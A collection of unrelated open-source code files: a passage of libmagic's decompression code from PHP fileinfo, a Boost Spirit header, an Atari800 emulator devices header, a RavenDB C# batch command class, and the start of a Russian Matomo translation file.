lzip_flags gzip_flags static const char *gzip_args[] = { "gzip", gzip_flags, NULL }; static const char *uncompress_args[] = { "uncompress", "-c", NULL }; static const char *bzip2_args[] = { "bzip2", "-cd", NULL }; static const char *lzip_args[] = { "lzip", lzip_flags, NULL }; static const char *xz_args[] = { "xz", "-cd", NULL }; static const char *lrzip_args[] = { "lrzip", lrzip_flags, NULL }; static const char *lz4_args[] = { "lz4", "-cd", NULL }; static const char *zstd_args[] = { "zstd", "-cd", NULL }; #define do_zlib NULL #define do_bzlib NULL private const struct { union { const char *magic; int (*func)(const unsigned char *); } u; int maglen; const char **argv; void *unused; } compr[] = { #define METH_FROZEN 2 #define METH_BZIP 7 #define METH_XZ 9 #define METH_LZMA 13 #define METH_ZLIB 14 { { .magic = "\037\235" }, 2, gzip_args, NULL }, /* 0, compressed */ /* Uncompress can get stuck; so use gzip first if we have it * Idea from Damien Clark, thanks! */ { { .magic = "\037\235" }, 2, uncompress_args, NULL },/* 1, compressed */ { { .magic = "\037\213" }, 2, gzip_args, do_zlib },/* 2, gzipped */ { { .magic = "\037\236" }, 2, gzip_args, NULL }, /* 3, frozen */ { { .magic = "\037\240" }, 2, gzip_args, NULL }, /* 4, SCO LZH */ /* the standard pack utilities do not accept standard input */ { { .magic = "\037\036" }, 2, gzip_args, NULL }, /* 5, packed */ { { .magic = "PK\3\4" }, 4, gzip_args, NULL }, /* 6, pkziped */ /* ...only first file examined */ { { .magic = "BZh" }, 3, bzip2_args, do_bzlib },/* 7, bzip2-ed */ { { .magic = "LZIP" }, 4, lzip_args, NULL }, /* 8, lzip-ed */ { { .magic = "\3757zXZ\0" },6, xz_args, NULL }, /* 9, XZ Util */ { { .magic = "LRZI" }, 4, lrzip_args, NULL }, /* 10, LRZIP */ { { .magic = "\004\"M\030" },4, lz4_args, NULL }, /* 11, LZ4 */ { { .magic = "\x28\xB5\x2F\xFD" }, 4, zstd_args, NULL },/* 12, zstd */ { { .func = lzmacmp }, -13, xz_args, NULL }, /* 13, lzma */ #ifdef ZLIBSUPPORT { { .func = zlibcmp }, -2, zlib_args, NULL }, /* 14, zlib */ #endif }; #define OKDATA 0 #define NODATA 1 #define ERRDATA 2 private ssize_t swrite(int, const void *, size_t); #if HAVE_FORK private size_t ncompr = __arraycount(compr); private int uncompressbuf(int, size_t, size_t, const unsigned char *, unsigned char **, size_t *); #ifdef BUILTIN_DECOMPRESS private int uncompresszlib(const unsigned char *, unsigned char **, size_t, size_t *, int); private int uncompressgzipped(const unsigned char *, unsigned char **, size_t, size_t *); #endif #ifdef BUILTIN_BZLIB private int uncompressbzlib(const unsigned char *, unsigned char **, size_t, size_t *); #endif #ifdef BUILTIN_XZLIB private int uncompressxzlib(const unsigned char *, unsigned char **, size_t, size_t *); #endif static int makeerror(unsigned char **, size_t *, const char *, ...); private const char *methodname(size_t); private int format_decompression_error(struct magic_set *ms, size_t i, unsigned char *buf) { unsigned char *p; int mime = ms->flags & MAGIC_MIME; if (!mime) return file_printf(ms, "ERROR:[%s: %s]", methodname(i), buf); for (p = buf; *p; p++) if (!isalnum(*p)) *p = '-'; return file_printf(ms, "application/x-decompression-error-%s-%s", methodname(i), buf); } protected int file_zmagic(struct magic_set *ms, const struct buffer *b, const char *name) { unsigned char *newbuf = NULL; size_t i, nsz; char *rbuf; file_pushbuf_t *pb; int urv, prv, rv = 0; int mime = ms->flags & MAGIC_MIME; int fd = b->fd; const unsigned char *buf = CAST(const unsigned char *, b->fbuf); size_t nbytes = b->flen; int sa_saved = 0; struct sigaction sig_act; if ((ms->flags & MAGIC_COMPRESS) == 0) return 0; for (i = 0; i < ncompr; i++) { int zm; if (nbytes < CAST(size_t, abs(compr[i].maglen))) continue; if (compr[i].maglen < 0) { zm = (*compr[i].u.func)(buf); } else { zm = memcmp(buf, compr[i].u.magic, CAST(size_t, compr[i].maglen)) == 0; } if (!zm) continue; /* Prevent SIGPIPE death if child dies unexpectedly */ if (!sa_saved) { //We can use sig_act for both new and old, but struct sigaction new_act; memset(&new_act, 0, sizeof(new_act)); new_act.sa_handler = SIG_IGN; sa_saved = sigaction(SIGPIPE, &new_act, &sig_act) != -1; } nsz = nbytes; urv = uncompressbuf(fd, ms->bytes_max, i, buf, &newbuf, &nsz); DPRINTF("uncompressbuf = %d, %s, %" SIZE_T_FORMAT "u\n", urv, (char *)newbuf, nsz); switch (urv) { case OKDATA: case ERRDATA: ms->flags &= ~MAGIC_COMPRESS; if (urv == ERRDATA) prv = format_decompression_error(ms, i, newbuf); else prv = file_buffer(ms, NULL, NULL, name, newbuf, nsz); if (prv == -1) goto error; rv = 1; if ((ms->flags & MAGIC_COMPRESS_TRANSP) != 0) goto out; if (mime != MAGIC_MIME && mime != 0) goto out; if ((file_printf(ms, mime ? " compressed-encoding=" : " (")) == -1) goto error; if ((pb = file_push_buffer(ms)) == NULL) goto error; /* * XXX: If file_buffer fails here, we overwrite * the compressed text. FIXME. */ if (file_buffer(ms, NULL, NULL, NULL, buf, nbytes) == -1) { if (file_pop_buffer(ms, pb) != NULL) abort(); goto error; } if ((rbuf = file_pop_buffer(ms, pb)) != NULL) { if (file_printf(ms, "%s", rbuf) == -1) { efree(rbuf); goto error; } efree(rbuf); } if (!mime && file_printf(ms, ")") == -1) goto error; /*FALLTHROUGH*/ case NODATA: break; default: abort(); /*NOTREACHED*/ error: rv = -1; break; } } out: DPRINTF("rv = %d\n", rv); if (sa_saved && sig_act.sa_handler != SIG_IGN) (void)sigaction(SIGPIPE, &sig_act, NULL); if (newbuf) efree(newbuf); ms->flags |= MAGIC_COMPRESS; DPRINTF("Zmagic returns %d\n", rv); return rv; } #endif /* * `safe' write for sockets and pipes. */ private ssize_t swrite(int fd, const void *buf, size_t n) { ssize_t rv; size_t rn = n; do switch (rv = write(fd, buf, n)) { case -1: if (errno == EINTR) continue; return -1; default: n -= rv; buf = CAST(const char *, buf) + rv; break; } while (n > 0); return rn; } /* * `safe' read for sockets and pipes. */ protected ssize_t sread(int fd, void *buf, size_t n, int canbepipe) { ssize_t rv; #ifdef FIONREAD int t = 0; #endif size_t rn = n; if (fd == STDIN_FILENO) goto nocheck; #ifdef FIONREAD if (canbepipe && (ioctl(fd, FIONREAD, &t) == -1 || t == 0)) { #ifdef FD_ZERO ssize_t cnt; for (cnt = 0;; cnt++) { fd_set check; struct timeval tout = {0, 100 * 1000}; int selrv; FD_ZERO(&check); FD_SET(fd, &check); /* * Avoid soft deadlock: do not read if there * is nothing to read from sockets and pipes. */ selrv = select(fd + 1, &check, NULL, NULL, &tout); if (selrv == -1) { if (errno == EINTR || errno == EAGAIN) continue; } else if (selrv == 0 && cnt >= 5) { return 0; } else break; } #endif (void)ioctl(fd, FIONREAD, &t); } if (t > 0 && CAST(size_t, t) < n) { n = t; rn = n; } #endif nocheck: do switch ((rv = FINFO_READ_FUNC(fd, buf, n))) { case -1: if (errno == EINTR) continue; return -1; case 0: return rn - n; default: n -= rv; buf = CAST(char *, CCAST(void *, buf)) + rv; break; } while (n > 0); return rn; } protected int file_pipe2file(struct magic_set *ms, int fd, const void *startbuf, size_t nbytes) { char buf[4096]; ssize_t r; int tfd; (void)strlcpy(buf, "/tmp/file.XXXXXX", sizeof buf); #ifndef HAVE_MKSTEMP { char *ptr = mktemp(buf); tfd = open(ptr, O_RDWR|O_TRUNC|O_EXCL|O_CREAT, 0600); r = errno; (void)unlink(ptr); errno = r; } #else { int te; mode_t ou = umask(0); tfd = mkstemp(buf); (void)umask(ou); te = errno; (void)unlink(buf); errno = te; } #endif if (tfd == -1) { file_error(ms, errno, "cannot create temporary file for pipe copy"); return -1; } if (swrite(tfd, startbuf, nbytes) != CAST(ssize_t, nbytes)) r = 1; else { while ((r = sread(fd, buf, sizeof(buf), 1)) > 0) if (swrite(tfd, buf, CAST(size_t, r)) != r) break; } switch (r) { case -1: file_error(ms, errno, "error copying from pipe to temp file"); return -1; case 0: break; default: file_error(ms, errno, "error while writing to temp file"); return -1; } /* * We duplicate the file descriptor, because fclose on a * tmpfile will delete the file, but any open descriptors * can still access the phantom inode. */ if ((fd = dup2(tfd, fd)) == -1) { file_error(ms, errno, "could not dup descriptor for temp file"); return -1; } (void)close(tfd); if (FINFO_LSEEK_FUNC(fd, (zend_off_t)0, SEEK_SET) == (zend_off_t)-1) { file_badseek(ms); return -1; } return fd; } #ifdef PHP_FILEINFO_UNCOMPRESS #ifdef BUILTIN_DECOMPRESS #define FHCRC (1 << 1) #define FEXTRA (1 << 2) #define FNAME (1 << 3) #define FCOMMENT (1 << 4) private int uncompressgzipped(const unsigned char *old, unsigned char **newch, size_t bytes_max, size_t *n) { unsigned char flg = old[3]; size_t data_start = 10; if (flg & FEXTRA) { if (data_start + 1 >= *n) goto err; data_start += 2 + old[data_start] + old[data_start + 1] * 256; } if (flg & FNAME) { while(data_start < *n && old[data_start]) data_start++; data_start++; } if (flg & FCOMMENT) { while(data_start < *n && old[data_start]) data_start++; data_start++; } if (flg & FHCRC) data_start += 2; if (data_start >= *n) goto err; *n -= data_start; old += data_start; return uncompresszlib(old, newch, bytes_max, n, 0); err: return makeerror(newch, n, "File too short"); } private int uncompresszlib(const unsigned char *old, unsigned char **newch, size_t bytes_max, size_t *n, int zlib) { int rc; z_stream z; if ((*newch = CAST(unsigned char *, emalloc(bytes_max + 1))) == NULL) return makeerror(newch, n, "No buffer, %s", strerror(errno)); z.next_in = CCAST(Bytef *, old); z.avail_in = CAST(uint32_t, *n); z.next_out = *newch; z.avail_out = CAST(unsigned int, bytes_max); z.zalloc = Z_NULL; z.zfree = Z_NULL; z.opaque = Z_NULL; /* LINTED bug in header macro */ rc = zlib ? inflateInit(&z) : inflateInit2(&z, -15); if (rc != Z_OK) goto err; rc = inflate(&z, Z_SYNC_FLUSH); if (rc != Z_OK && rc != Z_STREAM_END) goto err; *n = CAST(size_t, z.total_out); rc = inflateEnd(&z); if (rc != Z_OK) goto err; /* let's keep the nul-terminate tradition */ (*newch)[*n] = '\0'; return OKDATA; err: strlcpy(RCAST(char *, *newch), z.msg ? z.msg : zError(rc), bytes_max); *n = strlen(RCAST(char *, *newch)); return ERRDATA; } #endif #ifdef BUILTIN_BZLIB private int uncompressbzlib(const unsigned char *old, unsigned char **newch, size_t bytes_max, size_t *n) { int rc; bz_stream bz; memset(&bz, 0, sizeof(bz)); rc = BZ2_bzDecompressInit(&bz, 0, 0); if (rc != BZ_OK) goto err; if ((*newch = CAST(unsigned char *, malloc(bytes_max + 1))) == NULL) return makeerror(newch, n, "No buffer, %s", strerror(errno)); bz.next_in = CCAST(char *, RCAST(const char *, old)); bz.avail_in = CAST(uint32_t, *n); bz.next_out = RCAST(char *, *newch); bz.avail_out = CAST(unsigned int, bytes_max); rc = BZ2_bzDecompress(&bz); if (rc != BZ_OK && rc != BZ_STREAM_END) goto err; /* Assume byte_max is within 32bit */ /* assert(bz.total_out_hi32 == 0); */ *n = CAST(size_t, bz.total_out_lo32); rc = BZ2_bzDecompressEnd(&bz); if (rc != BZ_OK) goto err; /* let's keep the nul-terminate tradition */ (*newch)[*n] = '\0'; return OKDATA; err: snprintf(RCAST(char *, *newch), bytes_max, "bunzip error %d", rc); *n = strlen(RCAST(char *, *newch)); return ERRDATA; } #endif #ifdef BUILTIN_XZLIB private int uncompressxzlib(const unsigned char *old, unsigned char **newch, size_t bytes_max, size_t *n) { int rc; lzma_stream xz; memset(&xz, 0, sizeof(xz)); rc = lzma_auto_decoder(&xz, UINT64_MAX, 0); if (rc != LZMA_OK) goto err; if ((*newch = CAST(unsigned char *, malloc(bytes_max + 1))) == NULL) return makeerror(newch, n, "No buffer, %s", strerror(errno)); xz.next_in = CCAST(const uint8_t *, old); xz.avail_in = CAST(uint32_t, *n); xz.next_out = RCAST(uint8_t *, *newch); xz.avail_out = CAST(unsigned int, bytes_max); rc = lzma_code(&xz, LZMA_RUN); if (rc != LZMA_OK && rc != LZMA_STREAM_END) goto err; *n = CAST(size_t, xz.total_out); lzma_end(&xz); /* let's keep the nul-terminate tradition */ (*newch)[*n] = '\0'; return OKDATA; err: snprintf(RCAST(char *, *newch), bytes_max, "unxz error %d", rc); *n = strlen(RCAST(char *, *newch)); return ERRDATA; } #endif static int makeerror(unsigned char **buf, size_t *len, const char *fmt, ...) { char *msg; va_list ap; int rv; va_start(ap, fmt); rv = vasprintf(&msg, fmt, ap); va_end(ap); if (rv < 0) { *buf = NULL; *len = 0; return NODATA; } *buf = RCAST(unsigned char *, msg); *len = strlen(msg); return ERRDATA; } static void closefd(int *fd, size_t i) { if (fd[i] == -1) return; (void) close(fd[i]); fd[i] = -1; } static void closep(int *fd) { size_t i; for (i = 0; i < 2; i++) closefd(fd, i); } static int copydesc(int i, int fd) { if (fd == i) return 0; /* "no dup was necessary" */ if (dup2(fd, i) == -1) { DPRINTF("dup(%d, %d) failed (%s)\n", fd, i, strerror(errno)); exit(1); } return 1; } static pid_t writechild(int fd, const void *old, size_t n) { pid_t pid; /* * fork again, to avoid blocking because both * pipes filled */ pid = fork(); if (pid == -1) { DPRINTF("Fork failed (%s)\n", strerror(errno)); exit(1); } if (pid == 0) { /* child */ if (swrite(fd, old, n) != CAST(ssize_t, n)) { DPRINTF("Write failed (%s)\n", strerror(errno)); exit(1); } exit(0); } /* parent */ return pid; } static ssize_t filter_error(unsigned char *ubuf, ssize_t n) { char *p; char *buf; ubuf[n] = '\0'; buf = RCAST(char *, ubuf); while (isspace(CAST(unsigned char, *buf))) buf++; DPRINTF("Filter error[[[%s]]]\n", buf); if ((p = strchr(CAST(char *, buf), '\n')) != NULL) *p = '\0'; if ((p = strchr(CAST(char *, buf), ';')) != NULL) *p = '\0'; if ((p = strrchr(CAST(char *, buf), ':')) != NULL) { ++p; while (isspace(CAST(unsigned char, *p))) p++; n = strlen(p); memmove(ubuf, p, CAST(size_t, n + 1)); } DPRINTF("Filter error after[[[%s]]]\n", (char *)ubuf); if (islower(*ubuf)) *ubuf = toupper(*ubuf); return n; } private const char * methodname(size_t method) { switch (method) { #ifdef BUILTIN_DECOMPRESS case METH_FROZEN: case METH_ZLIB: return "zlib"; #endif #ifdef BUILTIN_BZLIB case METH_BZIP: return "bzlib"; #endif #ifdef BUILTIN_XZLIB case METH_XZ: case METH_LZMA: return "xzlib"; #endif default: return compr[method].argv[0]; } } private int uncompressbuf(int fd, size_t bytes_max, size_t method, const unsigned char *old, unsigned char **newch, size_t* n) { int fdp[3][2]; int status, rv, w; pid_t pid; pid_t writepid = -1; size_t i; ssize_t r; switch (method) { #ifdef BUILTIN_DECOMPRESS case METH_FROZEN: return uncompressgzipped(old, newch, bytes_max, n); case METH_ZLIB: return uncompresszlib(old, newch, bytes_max, n, 1); #endif #ifdef BUILTIN_BZLIB case METH_BZIP: return uncompressbzlib(old, newch, bytes_max, n); #endif #ifdef BUILTIN_XZLIB case METH_XZ: case METH_LZMA: return uncompressxzlib(old, newch, bytes_max, n); #endif default: break; } (void)fflush(stdout); (void)fflush(stderr); for (i = 0; i < __arraycount(fdp); i++) fdp[i][0] = fdp[i][1] = -1; if ((fd == -1 && pipe(fdp[STDIN_FILENO]) == -1) || pipe(fdp[STDOUT_FILENO]) == -1 || pipe(fdp[STDERR_FILENO]) == -1) { closep(fdp[STDIN_FILENO]); closep(fdp[STDOUT_FILENO]); return makeerror(newch, n, "Cannot create pipe, %s", strerror(errno)); } /* For processes with large mapped virtual sizes, vfork * may be _much_ faster (10-100 times) than fork. */ pid = vfork(); if (pid == -1) { return makeerror(newch, n, "Cannot vfork, %s", strerror(errno)); } if (pid == 0) { /* child */ /* Note: we are after vfork, do not modify memory * in a way which confuses parent. In particular, * do not modify fdp[i][j]. */ if (fd != -1) { (void) lseek(fd, CAST(off_t, 0), SEEK_SET); if (copydesc(STDIN_FILENO, fd)) (void) close(fd); } else { if (copydesc(STDIN_FILENO, fdp[STDIN_FILENO][0])) (void) close(fdp[STDIN_FILENO][0]); if (fdp[STDIN_FILENO][1] > 2) (void) close(fdp[STDIN_FILENO][1]); } ///FIXME: if one of the fdp[i][j] is 0 or 1, this can bomb spectacularly if (copydesc(STDOUT_FILENO, fdp[STDOUT_FILENO][1])) (void) close(fdp[STDOUT_FILENO][1]); if (fdp[STDOUT_FILENO][0] > 2) (void) close(fdp[STDOUT_FILENO][0]); if (copydesc(STDERR_FILENO, fdp[STDERR_FILENO][1])) (void) close(fdp[STDERR_FILENO][1]); if (fdp[STDERR_FILENO][0] > 2) (void) close(fdp[STDERR_FILENO][0]); (void)execvp(compr[method].argv[0], RCAST(char *const *, RCAST(intptr_t, compr[method].argv))); dprintf(STDERR_FILENO, "exec `%s' failed, %s", compr[method].argv[0], strerror(errno)); _exit(1); /* _exit(), not exit(), because of vfork */ } /* parent */ /* Close write sides of child stdout/err pipes */ for (i = 1; i < __arraycount(fdp); i++) closefd(fdp[i], 1); /* Write the buffer data to child stdin, if we don't have fd */ if (fd == -1) { closefd(fdp[STDIN_FILENO], 0); writepid = writechild(fdp[STDIN_FILENO][1], old, *n); closefd(fdp[STDIN_FILENO], 1); } *newch = CAST(unsigned char *, malloc(bytes_max + 1)); if (*newch == NULL) { rv = makeerror(newch, n, "No buffer, %s", strerror(errno)); goto err; } rv = OKDATA; r = sread(fdp[STDOUT_FILENO][0], *newch, bytes_max, 0); if (r <= 0) { DPRINTF("Read stdout failed %d (%s)\n", fdp[STDOUT_FILENO][0], r != -1 ? strerror(errno) : "no data"); rv = ERRDATA; if (r == 0 && (r = sread(fdp[STDERR_FILENO][0], *newch, bytes_max, 0)) > 0) { r = filter_error(*newch, r); goto ok; } free(*newch); if (r == 0) rv = makeerror(newch, n, "Read failed, %s", strerror(errno)); else rv = makeerror(newch, n, "No data"); goto err; } ok: *n = r; /* NUL terminate, as every buffer is handled here. */ (*newch)[*n] = '\0'; err: closefd(fdp[STDIN_FILENO], 1); closefd(fdp[STDOUT_FILENO], 0); closefd(fdp[STDERR_FILENO], 0); w = waitpid(pid, &status, 0); wait_err: if (w == -1) { free(*newch); rv = makeerror(newch, n, "Wait failed, %s", strerror(errno)); DPRINTF("Child wait return %#x\n", status); } else if (!WIFEXITED(status)) { DPRINTF("Child not exited (%#x)\n", status); } else if (WEXITSTATUS(status) != 0) { DPRINTF("Child exited (%#x)\n", WEXITSTATUS(status)); } if (writepid > 0) { /* _After_ we know decompressor has exited, our input writer * definitely will exit now (at worst, writing fails in it, * since output fd is closed now on the reading size). */ w = waitpid(writepid, &status, 0); writepid = -1; goto wait_err; } closefd(fdp[STDIN_FILENO], 0); //why? it is already closed here! DPRINTF("Returning %p n=%" SIZE_T_FORMAT "u rv=%d\n", *newch, *n, rv); return rv; } #endif #endif
{ "pile_set_name": "Github" }
// Copyright (c) 2001-2011 Hartmut Kaiser // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) #if !defined(BOOST_SPIRIT_QI_CREATE_NOV_21_2009_0444PM) #define BOOST_SPIRIT_QI_CREATE_NOV_21_2009_0444PM #if defined(_MSC_VER) #pragma once #endif #include <boost/spirit/home/qi/auto/meta_create.hpp> /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace spirit { namespace result_of { template <typename T> struct create_parser : spirit::traits::meta_create<qi::domain, T> {}; }}} /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace spirit { namespace qi { // Main API function for parser creation from data type template <typename T> typename result_of::create_parser<T>::type create_parser() { return spirit::traits::meta_create<qi::domain, T>::call(); } }}} /////////////////////////////////////////////////////////////////////////////// namespace boost { namespace spirit { namespace traits { // Meta function returning true if create_parser does return a valid // parser for the given type T. template <typename T> struct create_parser_exists : meta_create_exists<qi::domain, T> {}; }}} #endif
{ "pile_set_name": "Github" }
#ifndef DEVICES_H_ #define DEVICES_H_ #include <stdio.h> /* FILENAME_MAX */ #include "atari.h" /* UWORD */ int Devices_Initialise(int *argc, char *argv[]); void Devices_Exit(void); int Devices_PatchOS(void); void Devices_Frame(void); void Devices_UpdatePatches(void); UWORD Devices_SkipDeviceName(void); extern int Devices_enable_h_patch; extern int Devices_enable_p_patch; extern int Devices_enable_r_patch; extern int Devices_enable_b_patch; extern char Devices_atari_h_dir[4][FILENAME_MAX]; extern int Devices_h_read_only; extern char Devices_h_exe_path[FILENAME_MAX]; extern char Devices_h_current_dir[4][FILENAME_MAX]; int Devices_H_CountOpen(void); void Devices_H_CloseAll(void); extern char Devices_print_command[256]; int Devices_SetPrintCommand(const char *command); struct DEV_B { char url[512]; int pos; int ready; }; extern struct DEV_B dev_b_status; #define Devices_ICHIDZ 0x0020 #define Devices_ICDNOZ 0x0021 #define Devices_ICCOMZ 0x0022 #define Devices_ICSTAZ 0x0023 #define Devices_ICBALZ 0x0024 #define Devices_ICBAHZ 0x0025 #define Devices_ICPTLZ 0x0026 #define Devices_ICPTHZ 0x0027 #define Devices_ICBLLZ 0x0028 #define Devices_ICBLHZ 0x0029 #define Devices_ICAX1Z 0x002a #define Devices_ICAX2Z 0x002b #define Devices_IOCB0 0x0340 #define Devices_ICHID 0x0000 #define Devices_ICDNO 0x0001 #define Devices_ICCOM 0x0002 #define Devices_ICSTA 0x0003 #define Devices_ICBAL 0x0004 #define Devices_ICBAH 0x0005 #define Devices_ICPTL 0x0006 #define Devices_ICPTH 0x0007 #define Devices_ICBLL 0x0008 #define Devices_ICBLH 0x0009 #define Devices_ICAX1 0x000a #define Devices_ICAX2 0x000b #define Devices_ICAX3 0x000c #define Devices_ICAX4 0x000d #define Devices_ICAX5 0x000e #define Devices_ICAX6 0x000f #define Devices_TABLE_OPEN 0 #define Devices_TABLE_CLOS 2 #define Devices_TABLE_READ 4 #define Devices_TABLE_WRIT 6 #define Devices_TABLE_STAT 8 #define Devices_TABLE_SPEC 10 #define Devices_TABLE_INIT 12 UWORD Devices_UpdateHATABSEntry(char device, UWORD entry_address, UWORD table_address); void Devices_RemoveHATABSEntry(char device, UWORD entry_address, UWORD table_address); #endif /* DEVICES_H_ */
{ "pile_set_name": "Github" }
using System; using System.Collections.Generic; using System.IO; using System.Net.Http; using System.Text; using Raven.Client.Documents.Conventions; using Raven.Client.Documents.Session; using Raven.Client.Http; using Raven.Client.Json; using Raven.Client.Json.Serialization; using Raven.Client.Util; using Sparrow.Json; namespace Raven.Client.Documents.Commands.Batches { internal class ClusterWideBatchCommand : SingleNodeBatchCommand, IRaftCommand { public string RaftUniqueRequestId { get; } = RaftIdGenerator.NewId(); public ClusterWideBatchCommand(DocumentConventions conventions, JsonOperationContext context, IList<ICommandData> commands, BatchOptions options = null) : base(conventions, context, commands, options, TransactionMode.ClusterWide) { } } public class SingleNodeBatchCommand : RavenCommand<BatchCommandResult>, IDisposable { private readonly BlittableJsonReaderObject[] _commands; private readonly List<Stream> _attachmentStreams; private readonly HashSet<Stream> _uniqueAttachmentStreams; private readonly BatchOptions _options; private readonly TransactionMode _mode; public SingleNodeBatchCommand(DocumentConventions conventions, JsonOperationContext context, IList<ICommandData> commands, BatchOptions options = null, TransactionMode mode = TransactionMode.SingleNode) { if (conventions == null) throw new ArgumentNullException(nameof(conventions)); if (commands == null) throw new ArgumentNullException(nameof(commands)); if (context == null) throw new ArgumentNullException(nameof(context)); _commands = new BlittableJsonReaderObject[commands.Count]; for (var i = 0; i < commands.Count; i++) { var command = commands[i]; var json = command.ToJson(conventions, context); _commands[i] = context.ReadObject(json, "command"); if (command is PutAttachmentCommandData putAttachmentCommandData) { if (_attachmentStreams == null) { _attachmentStreams = new List<Stream>(); _uniqueAttachmentStreams = new HashSet<Stream>(); } var stream = putAttachmentCommandData.Stream; PutAttachmentCommandHelper.ValidateStream(stream); if (_uniqueAttachmentStreams.Add(stream) == false) PutAttachmentCommandHelper.ThrowStreamWasAlreadyUsed(); _attachmentStreams.Add(stream); } } _options = options; _mode = mode; Timeout = options?.RequestTimeout; } public override HttpRequestMessage CreateRequest(JsonOperationContext ctx, ServerNode node, out string url) { var request = new HttpRequestMessage { Method = HttpMethod.Post, Content = new BlittableJsonContent(stream => { using (var writer = new BlittableJsonTextWriter(ctx, stream)) { writer.WriteStartObject(); writer.WriteArray("Commands", _commands); if (_mode == TransactionMode.ClusterWide) { writer.WriteComma(); writer.WritePropertyName(nameof(TransactionMode)); writer.WriteString(nameof(TransactionMode.ClusterWide)); } writer.WriteEndObject(); } }) }; if (_attachmentStreams != null && _attachmentStreams.Count > 0) { var multipartContent = new MultipartContent { request.Content }; foreach (var stream in _attachmentStreams) { PutAttachmentCommandHelper.PrepareStream(stream); var streamContent = new AttachmentStreamContent(stream, CancellationToken); streamContent.Headers.TryAddWithoutValidation("Command-Type", "AttachmentStream"); multipartContent.Add(streamContent); } request.Content = multipartContent; } var sb = new StringBuilder($"{node.Url}/databases/{node.Database}/bulk_docs"); AppendOptions(sb); url = sb.ToString(); return request; } public override void SetResponse(JsonOperationContext context, BlittableJsonReaderObject response, bool fromCache) { if (response == null) throw new InvalidOperationException("Got null response from the server after doing a batch, something is very wrong. Probably a garbled response."); // this should never actually occur, we are not caching the response of batch commands, but keeping it here anyway if (fromCache) { // we have to clone the response here because otherwise the cached item might be freed while // we are still looking at this result, so we clone it to the side response = response.Clone(context); } Result = JsonDeserializationClient.BatchCommandResult(response); } private void AppendOptions(StringBuilder sb) { if (_options == null) return; sb.Append("?"); var replicationOptions = _options.ReplicationOptions; if (replicationOptions != null) { sb.Append("&waitForReplicasTimeout=").Append(replicationOptions.WaitForReplicasTimeout); sb.Append($"&throwOnTimeoutInWaitForReplicas={replicationOptions.ThrowOnTimeoutInWaitForReplicas}"); sb.Append("&numberOfReplicasToWaitFor="); sb.Append(replicationOptions.Majority ? "majority" : replicationOptions.NumberOfReplicasToWaitFor.ToString()); } var indexOptions = _options.IndexOptions; if (indexOptions != null) { sb.Append("&waitForIndexesTimeout=").Append(indexOptions.WaitForIndexesTimeout); sb.Append("&waitForIndexThrow=").Append(indexOptions.ThrowOnTimeoutInWaitForIndexes.ToString()); if (indexOptions.WaitForSpecificIndexes != null) { foreach (var specificIndex in indexOptions.WaitForSpecificIndexes) { sb.Append("&waitForSpecificIndex=").Append(Uri.EscapeDataString(specificIndex)); } } } } public override bool IsReadRequest => false; public void Dispose() { foreach (var command in _commands) command?.Dispose(); Result?.Results?.Dispose(); } } }
{ "pile_set_name": "Github" }
{ "General": { "12HourClock": "12-часовой формат времени", "24HourClock": "24-часовой формат времени", "AbandonedCarts": "Нереализованные покупки", "AboutPiwikX": "О Matomo %s", "Action": "Действие", "Actions": "Действия", "Add": "Добавить", "AfterEntry": "после захода сюда", "All": "Все", "AllowPiwikArchivingToTriggerBrowser": "Архив отчетов при просмотре в браузере", "AllWebsitesDashboard": "Статистика всех сайтов", "And": "и", "API": "API", "Apply": "Применить", "ArchivingInlineHelp": "Для сайтов со средней или высокой нагрузкой рекомендуется отменить архивирование данных при входе в веб-аналитику через браузер. Вместо этого лучше назначить cron-задачу, чтобы Matomo автоматически формировал отчеты каждый час.", "ArchivingTriggerDescription": "Для сайтов с высокой нагрузкой настоятельно рекомендуется %1$sназначить cron-задачу%2$s, которая будет формировать отчеты автоматически.", "AuthenticationMethodSmtp": "Метод аутентификации для SMTP", "AverageOrderValue": "Средняя стоимость заказа", "AveragePrice": "Средняя цена", "AverageQuantity": "Среднее количество", "AverageX": "Ср. %s", "BackToPiwik": "Вернуться к Matomo", "Broken": "Сломалось", "BrokenDownReportDocumentation": "Он разбит на различные отчёты, которые отображаются в виде спарклайнов внизу страницы. Вы можете увеличить графики обычным кликом по ним.", "Cancel": "Отмена", "CannotUnzipFile": "Не могу распаковать файл %1$s: %2$s", "ChangePassword": "Изменить пароль", "ChangeTagCloudView": "Учтите, что Вы можете просматривать отчёт не только через облако тегов. Используйте элементы управления внизу отчёта для переключения вариантов просмотра.", "ChooseDate": "Выбор даты, сейчас выбрана дата %s", "ChooseLanguage": "Выбрать язык", "ChoosePeriod": "Выбрать период", "ClickHere": "Нажмите здесь для получения дополнительной информации.", "DoubleClickToChangePeriod": "Нажмите два раза, что бы применить текущий период.", "Close": "Закрыть", "ClickToSearch": "Нажмите для поиска", "Copy": "Скопировать", "Confirm": "Подтвердить", "ColumnActionsPerVisit": "Действия за посещение", "ColumnActionsPerVisitDocumentation": "Среднее количество действий (просмотры страниц, загрузки или внешние ссылки), которое было выполнено во время визитов.", "ColumnAverageGenerationTime": "Среднее время генерации страницы", "ColumnViewsWithGenerationTime": "Просмотры страниц с временем генерации", "ColumnAverageGenerationTimeDocumentation": "Среднее время, затраченное на генерацию страницы. Этот показатель включает в себя время, затраченное сервером для генерации веб-страницы, а также время, которое потребовалось для посетителей, чтобы скачать ответ от сервера. Маленькое значение показателя 'Среднее время генерации' означает более быстрый веб-сайт для ваших посетителей!", "ColumnAverageTimeOnPage": "Среднее время просмотра страницы", "ColumnAverageTimeOnPageDocumentation": "Общее время, которое посетители провели на данной странице (только на странице, а не на всем сайте).", "ColumnAvgTimeOnSite": "Среднее время на сайте", "ColumnSumTimeOnSite": "Общее время на сайте", "ColumnAvgTimeOnSiteDocumentation": "Средняя длительность посещения.", "ColumnBounceRate": "Показатель отказов", "ColumnBounceRateDocumentation": "Процент визитов, которые имели только один просмотр страницы. Это означает, что пользователь покинул сайт сразу со стартовой страницы.", "ColumnBounces": "Отказы", "RealTime": "Реальное время", "ColumnBouncesDocumentation": "Число посещений, которые начались и закончились на этой странице. Это значит, что посетитель покинул сайт после просмотра только одной страницы.", "ColumnConversionRate": "Конверсия", "ColumnConversionRateDocumentation": "Процент посещений, которые внесли вклад в конверсию целей.", "ColumnDestinationPage": "Страница назначения", "ColumnEntrances": "Входы на сайт", "ColumnEntrancesDocumentation": "Число посещений, который начались с этой страницы.", "ColumnExitRate": "Процент выходов", 